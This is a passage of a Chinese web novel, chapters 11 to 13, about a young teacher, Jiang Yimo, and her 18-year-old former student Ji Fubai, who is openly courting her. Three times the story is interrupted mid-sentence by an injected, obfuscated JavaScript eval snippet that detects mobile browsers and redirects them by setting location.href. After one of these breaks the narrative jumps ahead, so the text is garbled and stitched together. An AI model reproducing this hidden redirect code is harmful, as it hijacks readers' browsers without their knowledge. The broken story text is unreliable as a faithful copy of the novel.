她恨不得化身喷火龙,给他来一下子。 手机上又跳出来纪复白的微信:【既然在姐姐心里已经是废墟,也没有必要重建了,等姐姐变废为宝。(微笑)】 蒋一茉在心里仰天长啸,啸完,锁上手机放到一边不再搭理,越搭理,这家伙越来劲,得冷着他才行。 吃完饭,秦勤要跟蒋一茉去坐地铁,让他们四个坐车回去,正好两个男孩子送两个女孩子。 又说要给他们打车,几个人都说不用,还不着急回去,附近逛逛消消食。 秦勤早想摆脱这几个小孩儿,忙说:“那你们逛去吧,我们先走了。”拖着蒋一茉要走。 蒋一茉另一只手在这时被纪复白拉住,“我送你们回去。” “不用,小白,我们前面坐地铁回去,地铁站离家都挺近的,你们玩儿你们的吧。”秦勤把他手拨开,带着蒋一茉赶紧走了。 等走远,秦勤才撇撇嘴说:“这顿饭吃得没滋没味,他们在,我好多话都不能说。” 蒋一茉笑道:“今天也是巧了,刚好碰见,我看他们也不自在,各个都闷着。” 秦勤说:“碰上他们还好,要是碰上李清辉和他未婚妻……算了算了,别提他。” 想了想,她又说:“对了,昨晚聚餐,又听他们有人造谣你跟副校长的事儿,烦死了,你不打算澄清一下?” 蒋一茉摇摇头:“就算把嘴说烂,那些人想造谣依然变着法造你谣。” 秦勤:“那你就这么忍着?” 蒋一茉:“能打败这个谣言的,只能是下一个谣言,不如我说我是副校长私生女吧,感觉比二奶好一点,还有威慑力,哈哈……” 秦勤:“你还能笑得出来,我真服了。” 蒋一茉:“日子就是这么过的,什么都那么往心里去,活到30岁就得完蛋。” 虽然这么说,说完还是叹了口气。 “你要是不叹这口气,我就当你真的这么想了。”秦勤道。 又说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320801|167476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不就是嫉妒你上年度拿了优秀老师,这些人人品真差,得不到就造谣。” 蒋一茉:“等今年度优秀教师换别人了,可能就好一些了吧,我总不能天天身上挂个大喇叭,走哪儿就喊我不是林副校长二奶。” 秦勤想到什么,说:“欸,我跟你说,你能忍,有人可不能忍,昨天在吃饭的地方,我去卫生间,发现有人帮你教训那两个最爱造谣你的男老师,你猜是谁?” 蒋一茉摇摇头,猜不出来谁会这么帮她,那两个男老师平时混的人缘很好,没有人会愿意得罪他们,更何况还是帮她一个小透明出头,帮完见不着好,还可能被连带着报复。 所以她一时间更加好奇:“谁啊,别卖关子,快说,我回头可得好好感谢人家。” 秦勤刚要说名字,转念又笑:“你不是送他钢笔了么,一千多块的钢笔,你也真舍得,这么看来也算感谢了吧。” 蒋一茉倏地瞪大了眼睛:“纪复白?!” 秦勤点头,“没想到吧,小白平常看着老实规矩一个优等生,校服总是穿的服服帖帖,跟老师同学说话进退有度,客气有礼的,居然还挺会打架。” 又说:“我看见的时候,他站在洗手池那儿洗手,那俩嘴贱男脸上挂彩就在后头说再也不乱说了,还好是毕业了,不然我都替他俩尴尬,以后见着小白还不得绕着走。” 说完,看到旁边有家瑞幸咖啡,秦勤道:“买杯喝的吧,你喝什么?” 一看蒋一茉还呆着呢,她又叫了两声,蒋一茉眼里才又有了焦点。 秦勤笑道,“说实话,我当时也蛮震惊的,所以我悄悄地就溜了,他们估计都不知道我看见了,应该也没别的人看见,你说这事儿要说出去,谁信?” 蒋一茉又听秦勤问她喝什么,说:“随便……橙C美式吧。” “好嘞。”秦勤去点喝的了。 蒋一茉拿出手机,点开和纪复白的微信,点进对话框,打了几句,又一一删掉。 她看一眼上面的聊天记录,最后一句是:【等姐姐变废为宝。】 此刻再看这句话,心里起了不一样的涟漪。 - 出了地铁就开始下雨,蒋一茉走了几步,雨越下越大,只好先躲到街边屋檐下。 她家离地铁站有一站地远,所以平常更喜欢坐公交。 手机在这时震动,屏幕上显示——“小白”。 震了片刻,她接起来。 蒋一茉:“喂。” 她背过身去,使雨声离得更远一些。 纪复白:“在哪儿?” “在家,”蒋一茉说,“刚回来外面就下雨了,你呢,到家了吗?” 纪复白:“我一早就等在你家楼下,怎么没碰见你?” 蒋一茉:“……” 纪复白轻轻叹口气,又再问一遍:“在哪儿?” 蒋一茉:“在地铁站C出口这儿。” 纪复白:“等我,别乱跑。” 纪复白挂了电话。 蒋一茉等了会儿,街边停下辆车,高挑少年一身湿漉漉从车里出来,撑伞大步流星朝屋檐下躲雨的她走来。 他径直走到她身边,胳膊一伸,直接搂腰把人带进伞下。 那腰身太细,在他手臂里晃荡,只好掐住,紧贴自己往怀里按,高大个子将她小身板儿护的严实。 蒋一茉以为要上车,却见那车走了。 蒋一茉:“欸?不坐车回去吗?” 纪复白笑道:“想跟姐姐在雨里走一走,我们走回去吧?” 蒋一茉:“……” 11. 粘人 纪复白低头,看着伞下蒋一茉娟秀的侧脸,被打湿的几缕碎发贴着她脸庞,他伸手拨开,又替她抹了抹脸上的雨水,之后继续大手扶住细腰,把人紧按在怀里。 蒋一茉掰着他手指,“纪复白,你应该清楚两个人打一把伞并不需要这样搂搂抱抱吧?” 纪复白道:“但你也不能否认,两个人搂的越紧就越能少淋一点雨。” 蒋一茉一根手指都掰不动,只好妥协,又问:“你怎么没回家?” 纪复白:“想睡觉前再看你一眼,想亲口跟你说晚安,想问问你需不需要我送你一个晚安吻,想……” 蒋一茉:“好了好了,这个话题过,下一个话题。” 纪复白笑着问下一个话题是什么。 蒋一茉默了一会儿,说:“你……能走慢点吗,一步顶我两步,我都要跑起来了。” 纪复白:“……” 纪复白忍不住笑起来,笑完把她拉住,说:“我看是你鞋的问题,你把鞋脱了吧,脱了鞋走多舒服,回去再洗干净就好了。” 蒋一茉也有脱鞋的打算,被他一怂恿,干脆脱了鞋子踩在地上,还故意踩了两脚水,嘿嘿地笑起来。 等她想起来把鞋子捡起来时,高跟鞋已经被纪复白拎在手里,她同时也被少年打横抱了起来。 “你放我下来,我自己能走。”她推着他胸膛。 纪复白道:“老实点儿蒋一茉,待会儿两个人都摔了你就满意了。” 蒋一茉:“……” 纪复白:“光脚走路,万一脚划伤了怎么办?” 蒋一茉:“那你还叫我脱鞋?” 纪复白看她一眼,只是笑。 蒋一茉干脆也不折腾不作声了,接过他手里的伞,替两人撑着。 纪复白淋了不少雨,额前碎发被他抓过几下,略显凌乱,中间露出一点额头,湿发使得他那张脸比平常多几分脆弱和易碎感,白皙肤色越发清透。 “别看了。”他忽然道。 蒋一茉移开视线,“谁看你了。” 纪复白:“现在样子肯定很狼狈很蠢,不好看,所以别看。” 蒋一茉又再转回目光,看着他那张帅脸笑道:“还有偶像包袱呢。” 纪复白抿了抿唇,略微有些不好意思,说:“你可以帮我把头发弄一下。” 蒋一茉看了看他,伸手,却不是帮他整理头发,而是食指勾住银灰色半框眼镜的镜腿,替他摘下。 纪复白脚步微的一顿,慢了下来。 蒋一茉从包里拿出纸巾,抽出一张来,擦着眼镜上的水渍。 纪复白看一眼她手里的纸,“这是我给你那包?还没用完?” 蒋一茉“嗯”了声,那天她在办公室喝水呛着,他给她的纸,她顺手丢进了包里。 她对着眼镜哈了口气,继续擦,见纪复白盯着自己,问他:“介意吗?” 纪复白扬唇笑:“不介意,姐姐哈我嘴里都行。” 蒋一茉:……又发神经。 “我打算去做近视手术,你觉得怎么样?”纪复白问。 蒋一茉:“出钱的是你家长,做手术的是你本人,为什么要问我?” 纪复白:“如果你觉得我戴眼镜更好看,我就不做,如果你觉得不戴眼镜好看,我就去做。” 说到这儿,他又道:“你是不是还没认真看过我不戴眼镜的样子?” 他低头看向怀里的蒋一茉—— “茉茉,你喜欢我戴眼镜,还是不戴眼镜?” 他近视度数并不高,此刻的距离,不戴眼镜也能看清蒋一茉的表情。 过了五六秒,他轻声笑道:“看来不戴眼镜更有吸引力,给姐姐都看呆了。” “……才没有。”蒋一茉把手里擦干净的斯斯文文的半框眼镜给他戴好,“做不做自己考虑,但是手术都有一定风险,而且说不定还会有什么后遗症,千万千万千万要想清楚。” 眼镜又重新架回男生高挺的鼻梁,蒋一茉忍不住在心里感叹,是真的帅啊,雨下朦胧昏黄的路灯光照在他脸上时,都变得更加清晰立体了。 怪不得在学校能收一抽屉的情书。 而且一抽屉并不是夸张说法,那个情人节,唐老头站纪复白座位旁边,看他在桌洞里掏半天都掏不完,在旁不停叹气,又直抠脑袋。 后来唐老头抱着收缴的一箱情书到办公室来时,把其他老师也都震惊了。 甚至有老师玩笑说:“唐主任你要是拆到我的那封,记得悄悄还给我。” 大家也都跟着笑。 她眼前的这个少年,因为太过优秀,被很多很多人喜欢着,可为什么,偏偏要喜欢她呢? 还有半程的路,蒋一茉靠在纪复白胸膛,昏昏欲睡。 这雨声,好助眠,纪复白,把她抱得好稳。 “小白,我眯一会儿哦……”她软声道。 少年垂眸,嗓音轻而柔软:“睡吧,睡醒我们就到家了。” 雨势变幻,时大时小,在夏夜躁动不停。 伞下,高大帅气的少年抱着闭眼小憩的漂亮女人,步伐稳健,眉眼温柔。 雨在喧嚣什么,风在咆哮什么,无暇顾及,只是收紧手臂,抱她更紧更稳,小心守护她的美梦。 而这一路,也是他曾经的梦。 …… 蒋一茉听到有人在耳边小声喊自己:“茉茉,茉茉,醒醒。” 她睁开眼,迷迷糊糊地问:“这哪儿?” “你家门口。”纪复白小声道。 蒋一茉转头,果然看见自家猪肝红的大门和熟悉的门牌号。 她赶紧跳了下来,又把纪复白拉远一点,想说什么,却转而问道:“你怎么知道那一户是我家?”又眯起眼睛,“你不会跟踪过我吧?” 纪复白:“……” 纪复白一愣,乐道:“蒋一茉,你当我是变态么?” 他解释:“昨天你回家,声控灯只亮到二楼,说明你家在二楼,刚刚那门口又挂着一个木头的入户门牌,底下字母是JYM&WJ,JYM不就是你蒋一茉,WJ是你妈妈?” 蒋一茉摸了摸脸,居然冤枉人家跟踪自己,脸上有点挂不住,“抱歉哈。” 纪复白道:“跟我有什么可道歉的,我当然知道你不是那个意思。” 蒋一茉抿唇笑笑:“今天谢谢了,你快回去吧。” 她转身要走,手腕处一紧。 纪复白从背后贴上来,长臂在她胸前交叉,锁住娇小身子,压低声音道:“坏姐姐,还没回答我问题,喜欢我戴眼镜,还是不戴眼镜?” 想了想,蒋一茉说:“我选……C!” 挣脱开少年紧实有力的双臂,她往走廊尽头自己家一路小跑过去,丢下一句:“快回去吧。” 之后捡起鞋,开门进屋。 文娟就在沙发上等她。 蒋一茉关上门,想到纪复白刚刚就在门口,一阵心虚。 文娟走过来,摸了摸她湿润的裙边儿,“不是说打车回来吗,怎么还是淋湿了?” 蒋一茉把鞋放好,铺了几张纸到入户地垫上,蹭了蹭脏脚掌,“咱这小区开进开出挺麻烦的,我让那师傅就停在大路口了,到家这点路淋了些雨,没事儿。” 文娟没说别的,叫她快去洗个热水澡,自己先睡了。 “去睡吧。”蒋一茉擦干净脚掌,光脚往卧室走。 “对了,”文娟又回头道,“你跟小王今天又联系了吗?” 蒋一茉支吾道:“互相发了几条微信,问吃饭了吗之类的,他回来主要是忙创业的事,挺忙的,我也有我的事,顺其自然吧。” “顺其自然是把握不住缘分的,虽然有‘缘’,还得要主动,才能抓住‘分’。你呀,不管做什么都太被动,非得被人推着才往前走。” 文娟说完,笑了笑,又说:“上回你偷着把账结了,他回来还说一定要再请你一顿呢,不然脸上都挂不住,到时候他再约你,你可得给他个面子。” 蒋一茉说:“有什么挂不住的,一顿饭而已,又没多少钱。” 这话使她莫名又想起纪复白,想起男生在车上说什么不会花她的钱,男人要面子之类的。 她笑笑,心说这家伙小屁孩儿一个,还知道要男人的面子。 今晚那顿火锅也是纪复白不知道什么时候偷偷跑去结的账,搞得她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320802|167476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟秦勤两人才是真的脸上挂不住,居然让一个以前的学生请了客。 不过同样都是要面子,她却觉得纪复白比王衍之可爱多了。 也有可能,纪复白没有像王衍之那样,说着不让她结账付款,背地里又跟家里人一起嫌她家庭条件不好,没背景没钱,不配给他们家做媳妇。 当然以后会不会,还说不定。 纪复白家境比王衍之家更为夸张,还比她小六岁,他们更不可能。 就算真的在一起,等又走到那一步时,恐怕也是旧景重现,甚至更为恐怖。 所以,不能到那一步。 蒋一茉进了卫生间洗澡,往头上一边抹洗发水,一边想着这些乱七八糟的事。 等躺到床上,想起来纪复白给她买的冰箱贴,又下床从包里拿出来。 再次躺回去,她拿着两个精致的凤冠冰箱贴仔细看,轻轻地抚摸每颗串珠。 听说要排很长很长的队,他倒有耐心。 可少年人的耐心,能持续多久呢。 把冰箱贴放进枕头下,蒋一茉又摸来手机,微信显示有好多条未读消息,点开,果然是纪复白。 她叹口气,心说真是够粘人的,谁要是跟他谈恋爱不得被烦死呀。 纪复白还没到家,还在回去的车上,问她在干什么,是不是在洗澡,洗完了没有,又给她分享等红灯时路边两条细雨中漫步的小狗,说:“你看,是不是很像刚才的我们俩?” 蒋一茉:……………… 蒋一茉:不,只有你。 蒋一茉不回,退出对话框,转而去刷朋友圈。 谁知刷出的第一条动态就是纪复白的,她简直要两眼一黑,真是阴魂不散。 这条动态一看没有别人点赞就知道又设置了仅她可见—— 纪复白:【补充选项C:戴眼镜和不戴眼镜的小白,我都喜欢。】 “嘁。”真够自恋。 蒋一茉继续往下刷朋友圈: 点赞 点赞 点赞 评论:哈哈你家狗子好可爱 评论:嘿嘿小猫咪真可爱给我吸一口 点赞 点赞 评论:恭喜喜得贵女~ 评论:恭喜脱单,女朋友很漂亮! 评论:有趣欸,纪录片什么名字,我也去看看 继续点赞点赞点赞 …… 批改完朋友圈,又点进微博批改实时热搜,没什么大新闻,最后又转到B站找那个纪录片看。 第一集刚看到一半,纪复白的电话打了过来。 蒋一茉握住手机,往枕头上敲了敲,恨不得枕头就是纪复白的头,把他敲醒,赶紧恢复以前那副半死不活的浑身上下写满“别挨我”三个字的状态才好。 算了,接吧,不接的话,还不知道他大半夜又要发什么疯。 蒋一茉:“喂……”(无奈) 纪复白:“睡了吗?这才9点就睡了?是不是今天太累了?” 听她声音有气无力,他以为她睡了。 蒋一茉:“奔三的人了,就这作息。” 纪复白笑道:“少来,你连25还没有呢,怎么就奔三了?” 蒋一茉:“迟早要奔三,比你早六年奔三呢。” 纪复白:“那又怎么样,我喜欢24岁的你,也喜欢30岁的你,我喜欢每一岁的蒋一茉。” 蒋一茉:“……” 蒋一茉:“纪复白,我以前以为你是那种,就算跟人谈恋爱,也半天蹦不出一个屁来的人,偶尔冒出一句也是毒舌吐槽,没想到你还挺会说漂亮话。” 纪复白笑道:“这叫报复性说甜言蜜语,以前给我憋坏了。” 蒋一茉:“……” 蒋一茉:“你要不然,还是继续憋着吧?” 纪复白:“不说这个了,我准备洗澡。” 蒋一茉:“嗯,挂了。” 纪复白:“欸等等,我的意思是,我刚脱了衣服照镜子,突然觉得,这么好的身材,蒋一茉看不见也太可惜了,我们打视频吧,我给你看腹肌。” 蒋一茉:“…………………” 12. 睡我 蒋一茉闭着眼,眼珠子转了一圈,说:“好啊。” 她听到纪复白刚刚说那话时,明显憋着坏笑,此刻听到她说“好”,他沉默两秒,笑不出来:“啊?你真要看?” 蒋一茉:“看,不看白不看。” 蒋一茉挂了电话,转而从微信上打视频电话,等了一会儿那边才接,视频里,纪复白身上套了件T恤,神色有些躲闪,耳朵也莫名的红。 蒋一茉的镜头是后置,用枕头堵住,一片黑,人在屏幕前偷笑。 蒋一茉:“怎么回事,怎么又穿上了?” 纪复白:“你还真想看?你个色女。” 蒋一茉:“冤枉啊,你说要给我看的,我这是在卖你面子。” 纪复白:“……” 纪复白没说话,手机像被丢在床上,屏幕突然间对着天花板,几秒功夫,镜头又摇晃了一阵,最后从镜子下方缓缓往上推进…… 少年穿一条黑色长裤,上身裸着,光脚踩在白色地毯上。 壁灯在身后绽放暖光,他身上肌肉膨起,分布均匀,线条流畅。 腹肌块块分明,又紧实,腰身窄劲,裤腰附近,人鱼线似露非露。 明暗光影摇曳交替,如水般在薄肌上流淌,又好似谁的手在到处抚摸,青筋微浮的手臂,使得氛围更加暧昧。 他人高,身材也微壮,平常从短袖下露出的胳膊就能看出来薄肌结实紧致。 纪复白并不是纤细文弱型的男生,同龄人里相比,是能给女生安全感而不是激起保护欲的类型,气质冷硬,又因为戴眼镜而沾一点书卷气,两者结合得十分完美。 他并不是典型的弟弟型男生,有些大男人的傲气在身上,但他愿意在蒋一茉面前撒娇服软做弟弟。 纪复白满意地听着视频那头女人逐渐急促的呼吸,唇角微的一勾,往前走,胸肌在镜头里慢慢逼近,散漫笑道:“不是白给你看的,蒋一茉,看了就要给我当女朋友。” 话音落下的同时,视频被那头掐断。 纪复白:…… 纪复白哭笑不得,至于么,当他女朋友到底哪里不好了,不仅能看,还能上手摸,想睡他也不是不可以。 他扔了手机,转身去洗澡,心想蒋一茉这女人还真是暴殄天物。 等纪复白洗完澡回来,趴在床上点开微信,发现自己那条朋友圈有了一条评论,只是一个表情——【呕吐】。 他看着这表情,想着背后蒋一茉那张脸做这个动作什么样子,再看这表情,竟有点眉清目秀和可爱的意思。 他回复她:【想不想睡我,你现在过来,还有机会,我家没人,而且我把自己洗得很香。(亲亲)】 这条评论很快就得到了蒋一茉的回应:【一连串呕吐表情】 纪复白在这头捧着手机乐,数了数,有18个。 打字回复道:【我今年18岁,姐姐特意发18个表情,看来姐姐心里有我。】 他坏笑着,等那头回复,结果一直握着手机到睡着,蒋一茉也没再理他。 第二天,蒋一茉没有再睡懒觉到下午,一早就起床,简单洗了脸抹了防晒出门,准备跑文娟的小杂货铺去帮忙看店。 这样文娟今天就可以好好休息一天,跟朋友出去逛个街,烫个头发。 杂货铺离家就一条街,蒋一茉穿着短袖短裤,大片皮肤露在外面,阳光下白得发光。 她虽然有点婴儿肥,但形态很匀称,并不胖也不过于瘦,属于抱着特别舒服的那种轻微肉感身材。 秦勤平时就特别喜欢搂她抱她。 看店其实很清闲,只不过也很熬人。 蒋一茉上大学才和母亲来的北京,以前在四川的家里也开着一个小超市,她那时候就经常去帮忙看店。 大多数时候,她要么看着外面的街道发呆,要么就是看书做作业,有时候跟她同龄的那些学生经过,听着他们的嬉笑打闹,她也会很羡慕。 所以她成绩好,因为有大把的时间被迫坐那儿看书练题。 只是她也跟别人印象中的好学生一样,性格无趣,书呆子一个。 不得不承认,她这个人,又怂,又无趣。 王衍之倒是说过一次她有趣。 说她明明腼腆又胆小,却敢在ktv里当着那么多人面给他挡酒,别人起哄,她还傻傻的承认就是因为喜欢他,所以王衍之觉得她很有趣。 那是第一次有人觉得她有趣,而且是个见识过很多女生的男生觉得她有趣。 蒋一茉当时心里还挺有成就感。 纪复白在九点多给蒋一茉发来微信,早安加汇报今日日程。 他说要去考驾照,今天去报名。 蒋一茉心说有正经事做那可太好了,不用天天缠着她了。 纪复白又问她今天什么安排,她故意隔了好久才回复他:【很忙】 管天管地管她干嘛? 就算只是在店里坐着看昨天没看完的纪录片,也不干他的事。 蒋一茉觉得,自己和纪复白真的应该保持距离了。 昨晚打完那视频电话之后,她晚上竟然梦到了光着上身的纪复白,梦醒后坐起来恨不得轻轻扇自己两个大嘴巴,真够要命的。 少年人只是随便玩玩儿,一时兴起,高兴就追一下姐姐,不高兴就追同龄女孩儿去,哪能当真。 所以,她不会陪他沉沦。 下午时分,蒋一茉没再看记录片,看起了电子书,在微信读书上无意中看到一本讲姐弟恋的小说,吓她一跳,感觉自己被监视了似的,手却忍不住点了进去。 看着看着竟也看进去了,连有客人进来都没察觉。 直到那人敲了敲她面前的台面,喊道:“一茉。” 蒋一茉抬头,立刻站了起来,“林副校长。” 林副校长推了推眼镜,在店里扫视一圈,说:“你妈没在?” 蒋一茉点头:“啊……嗯。” 林副校长把手里几提礼品袋拎到柜台上,“前一阵出差去了趟成都,给你们带回一点那边特产。” “不用不用,您拿回去给亲戚朋友吧,我们不能收。”蒋一茉赶忙推辞。 林副校长拎起来,蒋一茉以为他要拿走,见他又放在了旁边的地上。 “那就放这儿吧,我走了。”他说,刚要走,又停下,“再来包烟吧,利群。” 蒋一茉拿了烟给他,随口一句嘱咐:“抽烟有害身体健康,您还是得少抽一些才好。” 林副校长一听,想了想,把烟搁下,笑道:“你说的对,听你的,不买也不抽了。” 蒋一茉笑笑,又把烟放回去,“那您慢走。” 林副校长摆摆手,离开。 蒋一茉把那几袋子特产都拿到库房里去,站在库房门口,看着它们又叹了口气。 其实学校里那些传闻怎么来的呢,因为林副校长和文娟是初恋情人。 后来林副校长知道她是文娟的女儿后,便经常在学校里找她,有意无意的给她一点照顾。 直到她多次明确拒绝和刻意疏远,林副校长才没那么频繁找过她。 但是传闻已然发生,在她拿了优秀教师后,还愈演愈烈。 她总不能见人就说,我不是林副校长二奶,实际上他和我妈曾经是恋人关系,这不更让人觉得她的一切都是凭这层关系得到的? 头疼。 蒋一茉坐回去,继续看那讲姐弟恋的小说,正好看到虐的部分,两人泪眼婆娑,声泪俱下地抱在一起说要分手,给她看得头疼加重,后脑勺某个位置突突跳,人还有点晕晕乎乎。 纪复白就在这时又给她来电。 蒋一茉正在心里吐槽那小说里的男主真是软弱,面对家里人不够硬气。 转念一想,他能怎么硬气,他还靠家里养着呢,没什么事是他说了算的,父母在经济方面一卡,连吃顿饭都费劲。 虽然前期男主跟女主刚认识和谈恋爱那会儿表现得挺潇洒,最后结果还不是分手。 偏这本还是个BE结局的小说,蒋一茉连翻几页,竟然没有反转,没有和好,没有破镜重圆,就没了! 天杀的作者,真想给他寄刀片。 蒋一茉心里莫名堵得慌,再看眼一直震动的手机,“小白”两个字跟着她后脑勺那块儿一起跳,跳的她烦躁不安。 她拿过手机,依旧挂断,在微信上给他发消息:【真的很忙,请你换位思考一下,如果有人一直这样骚扰你,你烦不烦?】 纪复白收到这条微信时,正坐在去找蒋一茉的宾利车里。 【骚扰】 他久久地盯着这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蒋一茉捂着饿的直叫的肚子下床,嗓子这会儿也变得难受,每一次吞咽,喉咙都在被凌迟。 吃了几口坨掉的面条,因为鼻子堵塞,食不知味,擤完鼻涕,又去找药吃。 这时,手机响了,她正翻箱倒柜,摸来手机看也没看是谁便接起来,心想多半是文娟打来问她吃没吃药之类的。 蒋一茉:“喂?” 那头过了两秒,才说:“感冒了吗?嗓子怎么哑了?” 蒋一茉手上一顿,看眼来电显示,抿了抿唇,“嗯,感冒。” 她说完,又去找纸擤鼻涕。 那头纪复白突然声音沉闷了下去:“对不起,怪我,昨晚非要玩儿什么浪漫,拉着你在雨里走路。” 蒋一茉听出他的懊恼,心里一软,这个笨蛋。 “打电话来干什么?”她问。 纪复白心想我满脑子都是你,还能干什么。 当然是想问问你白天在忙什么,现在在忙什么,忙完了吗,可以说说话吗,已经好几个小时没有联系了,现在打个电话不算骚扰吧,耳机什么时候还你,明天有空出来吗,把耳机还你顺便两人约个会,吃饭看电影泡温泉去游乐场,你如果还忙,让我在旁边静静待着行吗,你忙你的,抽空看我一眼就好…… 这些话在他嘴边绕了一圈,一句也没讲,而是看了眼时间,说:“我突然有点事,先挂了。” “嗯,去吧。” 放下手机,蒋一茉又去重新开一包纸,把找到的药吃了,打开电视看了看,又回卧室看书。 一个小时后,纪复白的电话又打来,她接起来,不等对方开口便道:“该休息了,别打了。” “你家里有人吗?你下来还是我上来?”纪复白的声音带点喘。 蒋一茉微怔,“你在哪儿?” 纪复白:“你家楼下。” 蒋一茉:“……” 蒋一茉起身开窗,探头看—— 少年站在楼洞口,高挑个子穿着简单的黑T白裤,在黑夜里特别显眼,帅气脸庞清隽又闪亮。 此刻他抬头望了过来,弯着眼睛正冲她笑。 13. 狠话 纪复白在电话里笑道:“我上来?” 蒋一茉:“等一下,你上来干什么?” 纪复白:“给你送药。” 蒋一茉:“我有药。” 纪复白:“吃我买的药,好得快。” 蒋一茉:“……等着,我下来。” 蒋一茉挂掉电话,冲到卫生间洗了把脸,随手拿根发绳,跑下楼去。 蒋一茉:“何必跑这一趟,离你家那么远,打车都得一个小时,我又不是没有药。” 她用头绳把一头长发挽在脑后,期间又打个喷嚏,皱眉揉着鼻子,不太好受。 纪复白把药先放在后面长椅上,此时看她打喷嚏也跟着蹙眉:“你还非得下来干什么,我给你送上去不行吗?” 蒋一茉:“当然不行,万一我妈回来撞见怎么解释?” 纪复白道:“就这么解释呗,你干嘛总是做贼心虚?” 他又略微皱了眉,说:“被我喜欢,是什么很丢脸的事吗,要瞒着这个瞒着那个。” 蒋一茉脱口:“不是……” 纪复白往前又迈了半步,低头盯着她,黑瞳微狭:“你前不久还说我让你感到骄傲,难道是哄我的么?” 蒋一茉:“没有……” 没有就好,纪复白满意地笑了笑,说:“你今天在忙什么?” 蒋一茉心想还能忙什么,忙着跟那本姐弟恋小说较劲,到处找那杀千刀的作者,看有没有写两人重修旧好的番外。 当然,这要说出去,显得她多少有点不务正业,纪复白肯定还会说:你整天就忙着看小说都不理我,假忙,坏姐姐! 蒋一茉编了个瞎话说:“我家有个杂货店,今天进了一大批货,忙着入库和上架。” 少年一听,抬手捏捏她下巴,笑说:“原来还是个小老板,这要给我傍上,天天吃香的喝辣的了。” 蒋一茉绷不住也笑了,“少来,你一个富二代小少爷,还看得上我们家那小铺子?” 纪复白双手捧起她脸,认真道:“那你傍我吧,我命是你的,人是你的,我还有很多钱,也都是你的,包赚不赔的买卖。” 蒋一茉看着他,心说这家伙知道自己一个超级大帅哥说这种话的魔力有多大吗。 她的脸被男生的手掌微微挤压嘟了起来,四目相对时,人中感觉一股热流淌下。 蒋一茉:“……” 纪复白:“……” 纪复白微的一怔,拇指给她抹去,嘴角抽抽两下,没忍住还是笑了出来。 蒋一茉捂着鼻子跳脚,另一只手揪着他衣角晃:“纸,纸,有没有纸!” 纪复白止住笑,赶紧掏兜递出一包纸。 拿了纸,蒋一茉走到垃圾桶旁边擤鼻涕,简直欲哭无泪,这和被人撞见光天化日在大街上拉屎有什么区别啊! 杀了她吧,刀磨快点。 余光瞥见那家伙也跟了过来,就站在一旁看。 蒋一茉背过身去,气自己长了个不争气的鼻子,又气纪复白在这儿看她笑话,吼道:“走开走开,擤鼻涕有什么好看的?” 纪复白偏头,依旧笑着看她,不管什么动作只要蒋一茉做起来,他都觉得这女人无敌可爱。 “没关系,你鼻涕清得跟水一样,一点也不恶心。”他宽慰道。 蒋一茉却“啊啊啊”地怪叫起来:“别形容了!闭嘴!你给我闭嘴!” 纪复白笑得肚子都疼。 最后再擦了擦鼻子,蒋一茉伸手道:“把药给我,快回家。” 少年把买的一兜药递过去。 蒋一茉掂了一掂,笑说:“你是打算把人家药店搬空?” 想起来耳机,又问:“对了,我耳机呢?” 纪复白解释:“出门太急,忘了。” 蒋一茉看他就没想正经还。 拿了药准备上楼,她手腕处一紧,被纪复白拉住。 她回头,听他道:“我刚刚那话是认真的,我是你的,不管你要不要我,我都是你的。” 纪复白的真心,比今天正午的高温天气还炽热,却不知道,如何才能传达到蒋一茉心里。 他自认为在同龄人里很成熟稳重,成绩好,考虑事情也周到,但在蒋一茉面前,就不自觉地幼稚得一塌糊涂,总是说些矫情又没用的话,恨不能把心掏出来给她看,又怕太过火把她吓跑。 “……”睫毛轻微颤动两下,蒋一茉没说别的,抽出手腕,转身上楼,“快回去吧。” 她的手挣脱时,少年的手指无意间划过她掌心,就像泉水从指尖流淌过去,当下以为什么也没抓住,细细回味时才发现,那瞬间早已刻骨铭心。 他还没认真牵过她的手,还没感受过她掌心的温度,还有很多很多事,他们没做过。 不过没关系,来日方长。 少年认为,只要让她看到自己的真心就可以,这条路上没有什么困难。 因为真心,是他能给她的,最无可比拟的,最珍贵纯粹的东西。 蒋一茉回到家,把一大兜药放在茶几上,里面有各种治感冒的药,胶囊、片状、冲剂、枇杷糖浆等等。 她抱着腿,坐在沙发上,安静地盯着这些药。 整个人还是晕乎乎的,因为头晕,所以想不明白,这个事儿到底怎么开始的,又会怎么结束,在哪里结束。 她又想起那本小说的结局,男主重新开始交往父母觉得合适的女朋友,女主随家人远走高飞,他们没能打破世俗偏见,也没有获得过祝福。 他们当初以为可以,就跟纪复白现在一样,持有一种乐观心态。 最终这种乐观,还是被一点点地碾碎了,而且是眼睁睁看着被碾碎,男主看清自己的没用,女主看清自己的天真。 不管她和纪复白怎么结束,她都不要这种结束,所以,赶紧劝人回头,及时止损才对。 蒋一茉拿出手机,点开和纪复白的微信对话框,想想,又转到便签里,先打个草稿。 